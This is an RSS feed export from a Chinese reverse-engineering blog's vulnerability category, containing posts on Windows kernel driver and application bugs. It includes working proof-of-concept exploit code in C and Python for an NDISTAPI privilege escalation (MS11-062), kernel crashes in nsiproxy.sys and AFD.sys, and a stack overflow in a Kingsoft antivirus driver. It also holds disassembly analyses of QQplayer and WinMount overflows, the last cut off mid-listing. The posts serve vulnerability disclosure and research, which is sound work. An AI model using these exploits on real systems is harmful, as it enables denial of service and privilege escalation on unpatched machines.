<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SoftRCE.net &#187; 倚天屠龙（Vulnerability）</title>
	<atom:link href="http://www.softrce.net/archives/category/vulnerability/feed" rel="self" type="application/rss+xml" />
	<link>http://www.softrce.net</link>
	<description>Software Reverse Code Engineering</description>
	<lastBuildDate>Tue, 13 Sep 2011 06:58:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Microsoft Windows NDISTAPI本地权限提升漏洞（MS11-062)</title>
		<link>http://www.softrce.net/archives/405</link>
		<comments>http://www.softrce.net/archives/405#comments</comments>
		<pubDate>Tue, 13 Sep 2011 06:10:07 +0000</pubDate>
		<dc:creator>dge</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>
		<category><![CDATA[MS11-062]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=405</guid>
		<description><![CDATA[#include “stdio.h” #include “windows.h” #define NTSTATUS int int main(int argc, char* argv[]) { PULONG  pShellcode; char InputBuffer[4]={0}; ULONG  AllocationSize,dwReturnSize; HANDLE dev_handle; SC_HANDLE hscmHandle = NULL; SC_HANDLE hscDriver = NULL; PROCESS_INFORMATION pi; STARTUPINFOA stStartup; printf(“\n Microsoft Ndistapi.sys Local Privilege Escalation Vulnerability Exploit \n\n”); dev_handle = CreateFile(“\\\\.\\NDISTAPI” ,GENERIC_READ &#124; GENERIC_WRITE ,0,NULL,CREATE_ALWAYS ,0,0); DeviceIoControl( dev_handle, 0x8fff23d4, InputBuffer,4,(PVOID)0&#215;80000000,0,&#38;dwReturnSize, NULL); [...]]]></description>
			<content:encoded><![CDATA[<p>#include “stdio.h”<br />
#include “windows.h”</p>
<p>#define NTSTATUS int</p>
<p><span id="more-405"></span>int main(int argc, char* argv[])<br />
{</p>
<p>PULONG  pShellcode;<br />
char InputBuffer[4]={0};<br />
ULONG  AllocationSize,dwReturnSize;<br />
HANDLE dev_handle;</p>
<p>SC_HANDLE hscmHandle = NULL;<br />
SC_HANDLE hscDriver = NULL;</p>
<p>PROCESS_INFORMATION pi;<br />
STARTUPINFOA stStartup;</p>
<p>printf(“\n Microsoft Ndistapi.sys Local Privilege Escalation Vulnerability Exploit \n\n”);</p>
<p>dev_handle = CreateFile(“\\\\.\\NDISTAPI” ,GENERIC_READ | GENERIC_WRITE ,0,NULL,CREATE_ALWAYS ,0,0);</p>
<p>DeviceIoControl( dev_handle, 0x8fff23d4, InputBuffer,4,(PVOID)0&#215;80000000,0,&amp;dwReturnSize, NULL);</p>
<p>return 1;<br />
}</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/405">2011年09月13日</a>, ayarei writes: 顶~</li><li><a href="http://www.softrce.net/archives/405">2011年09月13日</a>, <a href='http://www.itxy.net' rel='external nofollow' class='url'>Frears</a> writes: 必须顶。</li><li><a href="http://www.softrce.net/archives/405">2011年10月17日</a>, 123 writes: 你好fsdfsdf</li><li><a href="http://www.softrce.net/archives/405">2012年01月3日</a>, <a href='http://www' rel='external nofollow' class='url'>admin</a> writes: 为什么就是看不懂</li><li><a href="http://www.softrce.net/archives/405">2012年02月3日</a>, <a href='http://goo.gl/99D2t' rel='external nofollow' class='url'>校园自助打印复印</a> writes: 代码什么的最烦人了</li></ul><hr /><h2>Related posts:</h2><ul><li><a href="http://www.softrce.net/archives/381" rel="bookmark" title="Permanent Link: Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability">Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability</a></li><li><a href="http://www.softrce.net/archives/392" rel="bookmark" title="Permanent Link: Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability">Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability</a></li><li><a href="http://www.softrce.net/archives/96" rel="bookmark" title="Permanent Link: 暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞">暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</a></li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2009年05月16日 -- <a href="http://www.softrce.net/archives/140" title="静态分析驱动的一点技巧">静态分析驱动的一点技巧</a></li><li>2008年09月29日 -- <a href="http://www.softrce.net/archives/9" title="文章预告：Exploiting Windows Device Drivers">文章预告：Exploiting Windows Device Drivers</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/96" title="暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞">暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</a></li><li>2011年04月8日 -- <a href="http://www.softrce.net/archives/381" title="Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability">Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability</a></li><li>2010年02月10日 -- <a href="http://www.softrce.net/archives/217" title="How to adjust the Ace of device object">How to adjust the Ace of device object</a></li><li>2009年05月5日 -- <a href="http://www.softrce.net/archives/126" title="[玩笑]某人不是会坐在被告席上吧？">[玩笑]某人不是会坐在被告席上吧？</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/100" title="暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞">暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞</a></li><li>2008年11月16日 -- <a href="http://www.softrce.net/archives/19" title="[转载]在英特尔软件网络博客上看到的">[转载]在英特尔软件网络博客上看到的</a></li><li>2010年03月1日 -- <a href="http://www.softrce.net/archives/288" title="Steve Jobs在斯坦福大学毕业典礼上的演讲">Steve Jobs在斯坦福大学毕业典礼上的演讲</a></li><li>2010年08月3日 -- <a href="http://www.softrce.net/archives/320" title="SoftRCE官方T恤开始订购了~">SoftRCE官方T恤开始订购了~</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/405/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability</title>
		<link>http://www.softrce.net/archives/392</link>
		<comments>http://www.softrce.net/archives/392#comments</comments>
		<pubDate>Wed, 18 May 2011 07:40:11 +0000</pubDate>
		<dc:creator>dge</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=392</guid>
		<description><![CDATA[#!/usr/bin/python from ctypes import * kernel32 = windll.kernel32 Psapi    = windll.Psapi if __name__ == &#8216;__main__&#8217;: GENERIC_READ  = 0&#215;80000000 GENERIC_WRITE = 0&#215;40000000 OPEN_EXISTING = 0&#215;3 CREATE_ALWAYS = 0&#215;2 SYM_NAME   = “\\\\.\\Nsi” dwReturn      = c_ulong() out_buff      = ” in_buff       = (“\x00\x00\x00\x00\x00\x00\x00\x00\xec\x2d\x39\x6e\x07\x00\x00\x00&#8243; “\x01\x00\x00\x00\x00\x00\x00\x00\x38\x89\x6c\x01\x08\x00\x00\x00&#8243; “\x00\x00\x00\x00\x00\x00\x00\x00\x10\xfa\x78\x00\x28\x00\x00\x00&#8243; “\x38\xfa\x78\x00\x0c\x00\x00\x00&#8243;) handle = kernel32.CreateFileA(SYM_NAME, GENERIC_READ &#124; GENERIC_WRITE,0, None, CREATE_ALWAYS, 0, None) dev_ioct = kernel32.DeviceIoControl(handle, [...]]]></description>
			<content:encoded><![CDATA[<p>#!/usr/bin/python<br />
from ctypes import *</p>
<p>kernel32 = windll.kernel32<span id="more-392"></span><br />
Psapi    = windll.Psapi</p>
<p>if __name__ == &#8216;__main__&#8217;:<br />
GENERIC_READ  = 0&#215;80000000<br />
GENERIC_WRITE = 0&#215;40000000<br />
OPEN_EXISTING = 0&#215;3<br />
CREATE_ALWAYS = 0&#215;2</p>
<p>SYM_NAME   = “\\\\.\\Nsi”<br />
dwReturn      = c_ulong()<br />
out_buff      = ”<br />
in_buff       = (“\x00\x00\x00\x00\x00\x00\x00\x00\xec\x2d\x39\x6e\x07\x00\x00\x00&#8243;<br />
“\x01\x00\x00\x00\x00\x00\x00\x00\x38\x89\x6c\x01\x08\x00\x00\x00&#8243;<br />
“\x00\x00\x00\x00\x00\x00\x00\x00\x10\xfa\x78\x00\x28\x00\x00\x00&#8243;<br />
“\x38\xfa\x78\x00\x0c\x00\x00\x00&#8243;)</p>
<p>handle = kernel32.CreateFileA(SYM_NAME, GENERIC_READ | GENERIC_WRITE,0, None, CREATE_ALWAYS, 0, None)<br />
dev_ioct = kernel32.DeviceIoControl(handle, 0x12003f, in_buff,len(in_buff), out_buff, len(out_buff),byref(dwReturn), None)</p>
<hr /><h2>Related posts:</h2><ul><li><a href="http://www.softrce.net/archives/381" rel="bookmark" title="Permanent Link: Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability">Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability</a></li><li><a href="http://www.softrce.net/archives/405" rel="bookmark" title="Permanent Link: Microsoft Windows NDISTAPI本地权限提升漏洞（MS11-062)">Microsoft Windows NDISTAPI本地权限提升漏洞（MS11-062)</a></li><li><a href="http://www.softrce.net/archives/19" rel="bookmark" title="Permanent Link: [转载]在英特尔软件网络博客上看到的">[转载]在英特尔软件网络博客上看到的</a></li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">相关阅读</h3><ul class="related_post"><li>2011年04月8日 -- <a href="http://www.softrce.net/archives/381" title="Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability">Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability</a></li><li>2011年03月21日 -- <a href="http://www.softrce.net/archives/369" title="QQplayer Memory Corruption Vulnerability">QQplayer Memory Corruption Vulnerability</a></li><li>2009年05月15日 -- <a href="http://www.softrce.net/archives/136" title="ActiveX 控件组件的Fuzz和利用">ActiveX 控件组件的Fuzz和利用</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/392/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability</title>
		<link>http://www.softrce.net/archives/381</link>
		<comments>http://www.softrce.net/archives/381#comments</comments>
		<pubDate>Fri, 08 Apr 2011 03:04:58 +0000</pubDate>
		<dc:creator>dge</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>
		<category><![CDATA[windows xp]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=381</guid>
		<description><![CDATA[//////////////////////////////////////////////////////////////////////////// // // Title: Microsoft Windows xp AFD.sys Local Kernel DoS Exploit // ///////////////////////////////////////////////////////////////////////////// #include &#60;stdio.h&#62; #include &#60;Winsock2.h&#62; #pragma comment (lib, “ws2_32.lib”) BYTE buf[]={ 0xac,0xfd,0xd3,0&#215;00,0&#215;01,0&#215;00,0&#215;00,0&#215;00,0&#215;00,0&#215;00, 0&#215;00,0&#215;00,0&#215;20,0&#215;00,0&#215;00,0&#215;00,0xe8,0xfd,0xd3,0&#215;00, 0xb8,0xfd,0xd3,0&#215;00,0xf8,0xfd,0xd3,0&#215;00,0xc4,0xfd, 0xd3,0&#215;00,0xcc,0xfd,0xd3,0&#215;00}; int main( ) { WSADATA ws; SOCKET tcp_socket; struct sockaddr_in peer; ULONG  dwReturnSize; printf(“\n Microsoft Windows xp AFD.sys Local Kernel DoS Exploit \n\n”); printf(“\t Create by Lufeng [...]]]></description>
			<content:encoded><![CDATA[<p>////////////////////////////////////////////////////////////////////////////<br />
//<br />
// Title: Microsoft Windows xp AFD.sys Local Kernel DoS Exploit<br />
//<br />
/////////////////////////////////////////////////////////////////////////////<span id="more-381"></span></p>
<p>#include &lt;stdio.h&gt;<br />
#include &lt;Winsock2.h&gt;</p>
<p>#pragma comment (lib, “ws2_32.lib”)</p>
<p>BYTE buf[]={<br />
0xac,0xfd,0xd3,0&#215;00,0&#215;01,0&#215;00,0&#215;00,0&#215;00,0&#215;00,0&#215;00,<br />
0&#215;00,0&#215;00,0&#215;20,0&#215;00,0&#215;00,0&#215;00,0xe8,0xfd,0xd3,0&#215;00,<br />
0xb8,0xfd,0xd3,0&#215;00,0xf8,0xfd,0xd3,0&#215;00,0xc4,0xfd,<br />
0xd3,0&#215;00,0xcc,0xfd,0xd3,0&#215;00};</p>
<p>int main( )<br />
{<br />
WSADATA ws;</p>
<p>SOCKET tcp_socket;<br />
struct sockaddr_in peer;<br />
ULONG  dwReturnSize;</p>
<p>printf(“\n Microsoft Windows xp AFD.sys Local Kernel DoS Exploit \n\n”);<br />
printf(“\t Create by Lufeng Li of Neusoft Corporation. \n\n”);</p>
<p>WSAStartup(0&#215;0202,&amp;ws);</p>
<p>peer.sin_family = AF_INET;<br />
peer.sin_port = htons( 0x01bd );<br />
peer.sin_addr.s_addr = inet_addr( “127.0.0.1&#8243; );</p>
<p>tcp_socket = socket(AF_INET, SOCK_DGRAM, 0);//SOCK_DGRAM</p>
<p>if ( connect(tcp_socket, (struct sockaddr*) &amp;peer, sizeof(struct sockaddr_in)) )<br />
{<br />
printf(“connect error\n”);<br />
exit(0);<br />
}</p>
<p>DeviceIoControl( (HANDLE)tcp_socket,0x000120cf, buf,0&#215;24,buf,0&#215;24,&amp;dwReturnSize, NULL);</p>
<p>return TRUE;<br />
}</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/381">2011年04月22日</a>, gz1x writes: AFD里问题很多，不仅仅是Dos，可以本地提权。</li><li><a href="http://www.softrce.net/archives/381">2011年04月23日</a>, dge writes: @gz1x, 搞afd搞了一段时间了，到现在为止只弄出来这个，还得努力啊。</li></ul><hr /><h2>Related posts:</h2><ul><li><a href="http://www.softrce.net/archives/405" rel="bookmark" title="Permanent Link: Microsoft Windows NDISTAPI本地权限提升漏洞（MS11-062)">Microsoft Windows NDISTAPI本地权限提升漏洞（MS11-062)</a></li><li><a href="http://www.softrce.net/archives/392" rel="bookmark" title="Permanent Link: Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability">Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability</a></li><li><a href="http://www.softrce.net/archives/96" rel="bookmark" title="Permanent Link: 暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞">暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</a></li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">相关阅读</h3><ul class="related_post"><li>2011年05月18日 -- <a href="http://www.softrce.net/archives/392" title="Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability">Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability</a></li><li>2011年03月21日 -- <a href="http://www.softrce.net/archives/369" title="QQplayer Memory Corruption Vulnerability">QQplayer Memory Corruption Vulnerability</a></li><li>2009年05月15日 -- <a href="http://www.softrce.net/archives/136" title="ActiveX 控件组件的Fuzz和利用">ActiveX 控件组件的Fuzz和利用</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/381/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>QQplayer Memory Corruption Vulnerability</title>
		<link>http://www.softrce.net/archives/369</link>
		<comments>http://www.softrce.net/archives/369#comments</comments>
		<pubDate>Mon, 21 Mar 2011 02:58:19 +0000</pubDate>
		<dc:creator>dge</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>
		<category><![CDATA[QQplayer]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=369</guid>
		<description><![CDATA[QQplayer Memory Corruption Vulnerability

影响版本：&#60;= QQplayer 2.8

一个符号扩展的问题出现在MP4Splitter.dll中。]]></description>
			<content:encoded><![CDATA[<p>影响版本：&lt;= QQplayer 2.8</p>
<p>一个符号扩展的问题出现在MP4Splitter.dll中。<span id="more-369"></span></p>
<p>.text:10023EFF                 mov     eax, [esi]<br />
.text:10023F01                 push    0<br />
.text:10023F03                 push    20h<br />
.text:10023F05                 lea     ecx, [esp+40h+buff]<br />
.text:10023F09                 push    ecx<br />
.text:10023F0A                 mov     edx, [eax+0Ch]<br />
.text:10023F0D                 mov     ecx, esi<br />
.text:10023F0F                 call    edx                  ;从文件获取数据。<br />
.text:10023F11                 movsx   eax, [esp+38h+buff]  ;符号扩展产生一个类似0xFFFFFFFX的值。<br />
.text:10023F16                 cmp     eax, 20h<br />
.text:10023F19                 jge     short loc_10023F2E   ;检查被绕过<br />
.text:10023F1B                 mov     [esp+eax+38h+buf], 0 ;恶意数据被用于指针操作，导致栈中的指针数据被破坏。<br />
.text:10023F20                 lea     eax, [esp+38h+buf]<br />
.text:10023F24                 push    eax<br />
.text:10023F25                 lea     ecx, [edi+5Ch]</p>
<p>POC:不放了。</p>
<hr /><h2>Related posts:</h2><ul><li><a href="http://www.softrce.net/archives/14" rel="bookmark" title="Permanent Link: Vista Bootmgr/Winload使用的大部分选项ID">Vista Bootmgr/Winload使用的大部分选项ID</a></li><li><a href="http://www.softrce.net/archives/392" rel="bookmark" title="Permanent Link: Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability">Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability</a></li><li><a href="http://www.softrce.net/archives/405" rel="bookmark" title="Permanent Link: Microsoft Windows NDISTAPI本地权限提升漏洞（MS11-062)">Microsoft Windows NDISTAPI本地权限提升漏洞（MS11-062)</a></li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small>  
<div class="wp_license">
<p><a rel="license" href="http://creativecommons.org/licenses/by/3.0/"><img src="http://i.creativecommons.org/l/by/3.0//88x31.png" alt="Creative Commons Attribution 3.0 Unported" class="alignleft" style="margin-top:4px;" />
</a>This work  is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by/3.0/">Creative Commons Attribution 3.0 Unported</a>.</p>
</div><h3  class="related_post_title">相关阅读</h3><ul class="related_post"><li>2011年05月18日 -- <a href="http://www.softrce.net/archives/392" title="Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability">Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability</a></li><li>2011年04月8日 -- <a href="http://www.softrce.net/archives/381" title="Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability">Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability</a></li><li>2009年05月15日 -- <a href="http://www.softrce.net/archives/136" title="ActiveX 控件组件的Fuzz和利用">ActiveX 控件组件的Fuzz和利用</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/369/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>金山毒霸2011内核溢出漏洞</title>
		<link>http://www.softrce.net/archives/337</link>
		<comments>http://www.softrce.net/archives/337#comments</comments>
		<pubDate>Mon, 13 Sep 2010 10:04:01 +0000</pubDate>
		<dc:creator>dge</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=337</guid>
		<description><![CDATA[这个漏洞是我7月份报告给金山的，漏洞存在于kavfm.sys中，它没有正确处理用户提交的参数，因此导致了这个溢出漏洞。
在新版本中，这个驱动被去掉了。

影响版本：Kingsoft Antivirus &#60;=v2010.04.26.648]]></description>
			<content:encoded><![CDATA[<p>这个漏洞是我7月份报告给金山的，漏洞存在于kavfm.sys中，它没有正确处理用户提交的参数，因此导致了这个溢出漏洞。<br />
在新版本中，这个驱动被去掉了。<span id="more-337"></span></p>
<p>影响版本：Kingsoft Antivirus &lt;=v2010.04.26.648</p>
<p>漏洞分析:</p>
<p>.text:00012160<br />
.text:00012160 sub_12160       proc near               ; CODE XREF: sub_129B0+2Fp<br />
.text:00012160<br />
.text:00012160 var_44          = byte ptr -44h<br />
.text:00012160 var_4           = dword ptr -4<br />
.text:00012160 arg_4           = dword ptr  0Ch<br />
.text:00012160<br />
.text:00012160                 push    ebp<br />
.text:00012161                 mov     ebp, esp<br />
.text:00012163                 mov     ecx, [ebp+arg_4]<br />
.text:00012166                 mov     eax, [ecx+60h]<br />
.text:00012169                 sub     esp, 44h<br />
.text:0001216C                 push    ebx<br />
.text:0001216D                 mov     ebx, [eax+IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength]<br />
.text:00012170                 mov     eax, [eax+IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode]<br />
.text:00012173                 push    esi<br />
.text:00012174                 add     eax, 7FFCFFFCh<br />
.text:00012179                 xor     esi, esi<br />
.text:0001217B                 cmp     eax, 28h        ; switch 41 cases<br />
.text:0001217E                 push    edi<br />
.text:0001217F                 mov     edi, [ecx+IRP.AssociatedIrp.SystemBuffer]<br />
.text:00012182                 ja      loc_122E0       ; default<br />
.text:00012182                                         ; jumptable 0001218F cases 1-3,5-7,9-11,13-15,17-19,21-23,25-27,29-31,33-35,37-39<br />
.text:00012188                 movzx   eax, ds:byte_1231C[eax]<br />
.text:0001218F                 jmp     ds:off_122EC[eax*4] ; switch jump<br />
.text:00012196<br />
.text:00012196 loc_12196:                              ; DATA XREF: .text:off_122ECo<br />
.text:00012196                 push    ebx             ; 拷贝长度是InputBufferLength，是我们可控制的。<br />
.text:00012197                 lea     ecx, [ebp+var_44];<br />
.text:0001219A                 push    edi             ; 如果这个串大于72字节就可以覆盖到返回地址。<br />
.text:0001219B                 push    ecx             ; char *<br />
.text:0001219C                 call    strncpy<br />
.text:000121A1                 add     esp, 0Ch<br />
.text:000121A4                 lea     edx, [ebp+var_44]<br />
.text:000121A7                 push    edx<br />
.text:000121A8                 mov     [ebp+ebx+var_44], 0<br />
.text:000121AD                 call    sub_15410<br />
.text:000121B2                 pop     edi<br />
.text:000121B3                 mov     esi, eax<br />
.text:000121B5                 pop     esi<br />
.text:000121B6                 pop     ebx<br />
.text:000121B7                 mov     esp, ebp<br />
.text:000121B9                 pop     ebp<br />
.text:000121BA                 retn    8</p>
<p>poc:</p>
<p>#!/usr/bin/python</p>
<p>from ctypes import *</p>
<p>kernel32 = windll.kernel32<br />
Psapi    = windll.Psapi</p>
<p>if __name__ == &#8217;__main__&#8217;:<br />
GENERIC_READ  = 0&#215;80000000<br />
GENERIC_WRITE = 0&#215;40000000<br />
OPEN_EXISTING = 0&#215;3<br />
CREATE_ALWAYS = 0&#215;2</p>
<p>DEVICE_NAME   = ”\\\\.\\kavfm”<br />
dwReturn      = c_ulong()<br />
out_size      = 1024<br />
in_size       = 1024<br />
in_data       =”<br />
driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,<br />
0, None, CREATE_ALWAYS, 0, None)<br />
in_data=1024*&#8217;\x80&#8242;<br />
dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0&#215;80030004, in_data,500, 0, 0,byref(dwReturn), None)</p>
<p>EOF</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/337">2010年09月13日</a>, mj0011 writes: 金山的内核溢出少说有几十个，懒得爆了</li><li><a href="http://www.softrce.net/archives/337">2010年09月14日</a>, dge writes: @mj0011, 还是MJ境界高。</li><li><a href="http://www.softrce.net/archives/337">2010年12月27日</a>, <a href='http://www.jiami.net' rel='external nofollow' class='url'>vmprotect</a> writes: 金山毒霸免费了，这个溢出漏洞被人利用的话，影响范围就太大了。</li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small>  
<div class="wp_license">
<p><a rel="license" href="http://creativecommons.org/licenses/by-nc-nd/2.5/cn/"><img src="http://i.creativecommons.org/l/by-nc-nd/2.5/cn/88x31.png" alt="Creative Commons Attribution-NonCommercial-NoDerivs 2.5 China Mainland" class="alignleft" style="margin-top:4px;" />
</a>This work  is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-nc-nd/2.5/cn/">Creative Commons Attribution-NonCommercial-NoDerivs 2.5 China Mainland</a>.</p>
</div><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/114" title="Symbian S60 3rd Reverse CrAcKiNg Tutorial">Symbian S60 3rd Reverse CrAcKiNg Tutorial</a></li><li>2010年02月10日 -- <a href="http://www.softrce.net/archives/217" title="How to adjust the Ace of device object">How to adjust the Ace of device object</a></li><li>2008年10月19日 -- <a href="http://www.softrce.net/archives/14" title="Vista Bootmgr/Winload使用的大部分选项ID">Vista Bootmgr/Winload使用的大部分选项ID</a></li><li>2009年05月5日 -- <a href="http://www.softrce.net/archives/126" title="[玩笑]某人不是会坐在被告席上吧？">[玩笑]某人不是会坐在被告席上吧？</a></li><li>2009年04月26日 -- <a href="http://www.softrce.net/archives/1" title="SoftRCE再次回归上线">SoftRCE再次回归上线</a></li><li>2009年02月1日 -- <a href="http://www.softrce.net/archives/23" title="SoftRCE的Mail Server开通了！">SoftRCE的Mail Server开通了！</a></li><li>2009年05月16日 -- <a href="http://www.softrce.net/archives/140" title="静态分析驱动的一点技巧">静态分析驱动的一点技巧</a></li><li>2008年10月9日 -- <a href="http://www.softrce.net/archives/11" title="About the SMM rootkit">About the SMM rootkit</a></li><li>2010年05月7日 -- <a href="http://www.softrce.net/archives/310" title="IoRegisterDriverReinitialization 和IoRegisterBootDriverReinitialization">IoRegisterDriverReinitialization 和IoRegisterBootDriverReinitialization</a></li><li>2009年04月30日 -- <a href="http://www.softrce.net/archives/63" title="Native Application之键盘处理">Native Application之键盘处理</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/337/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>WinMount mou文件格式溢出漏洞分析</title>
		<link>http://www.softrce.net/archives/302</link>
		<comments>http://www.softrce.net/archives/302#comments</comments>
		<pubDate>Wed, 21 Apr 2010 11:55:42 +0000</pubDate>
		<dc:creator>dge</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>
		<category><![CDATA[漏洞分析]]></category>

		<guid isPermaLink="false">http://www.softrce.net/archives/302</guid>
		<description><![CDATA[前段时间发现的一个WinMount的漏洞并报给了WinMount，WinMount更新了，所以发布出来。

影响产品:WinMount 3.3.0401

WinMount在处理其mou私有格式的时候存在超长文件名溢出漏洞，并且可以绕过GS,SAFESEH成功利用。]]></description>
			<content:encoded><![CDATA[<p>Author：dge</p>
<p>前段时间发现的一个WinMount的漏洞并报给了WinMount，WinMount更新了，所以发布出来。</p>
<p>影响产品:WinMount 3.3.0401</p>
<p>WinMount在处理其mou私有格式的时候存在超长文件名溢出漏洞，这个漏洞存在于7z.dll中，并且可以绕过GS,SAFESEH成功利用。<span id="more-302"></span></p>
<p>由于WinMount对mou格式的特殊处理机制导致这个漏洞并不需要通过欺骗点击的方式来触发，只要你在电脑里看到这个精心构造的恶意mou文件，就能触发这个漏洞。</p>
<p>分析：<br />
.text:100B5460 vul_            proc near               ; CODE XREF: sub_100B64B0+2EEp<br />
.text:100B5460<br />
.text:100B5460 var_214         = dword ptr -214h<br />
.text:100B5460 var_210         = dword ptr -210h<br />
.text:100B5460 buf_20c         = byte ptr -20Ch<br />
.text:100B5460 arg_0           = dword ptr  4<br />
.text:100B5460 arg_4           = dword ptr  8<br />
.text:100B5460 arg_8           = dword ptr  0Ch<br />
.text:100B5460 arg_C           = dword ptr  10h<br />
.text:100B5460 arg_10          = dword ptr  14h<br />
.text:100B5460 arg_14          = dword ptr  18h<br />
.text:100B5460 arg_18          = dword ptr  1Ch<br />
.text:100B5460<br />
.text:100B5460                 sub     esp, 214h<br />
.text:100B5466                 mov     eax, dword_10101D2C<br />
.text:100B546B                 xor     eax, esp<br />
.text:100B546D                 mov     dword ptr [esp+214h+buf_20c+208h], eax<br />
.text:100B5474                 mov     ecx, [esp+214h+arg_18]<br />
.text:100B547B                 mov     edx, [esp+214h+arg_4]<br />
.text:100B5482                 mov     eax, [esp+214h+arg_C]<br />
.text:100B5489                 push    ebx<br />
.text:100B548A                 push    ebp<br />
.text:100B548B                 mov     ebp, [esp+21Ch+arg_0]<br />
.text:100B5492                 push    esi<br />
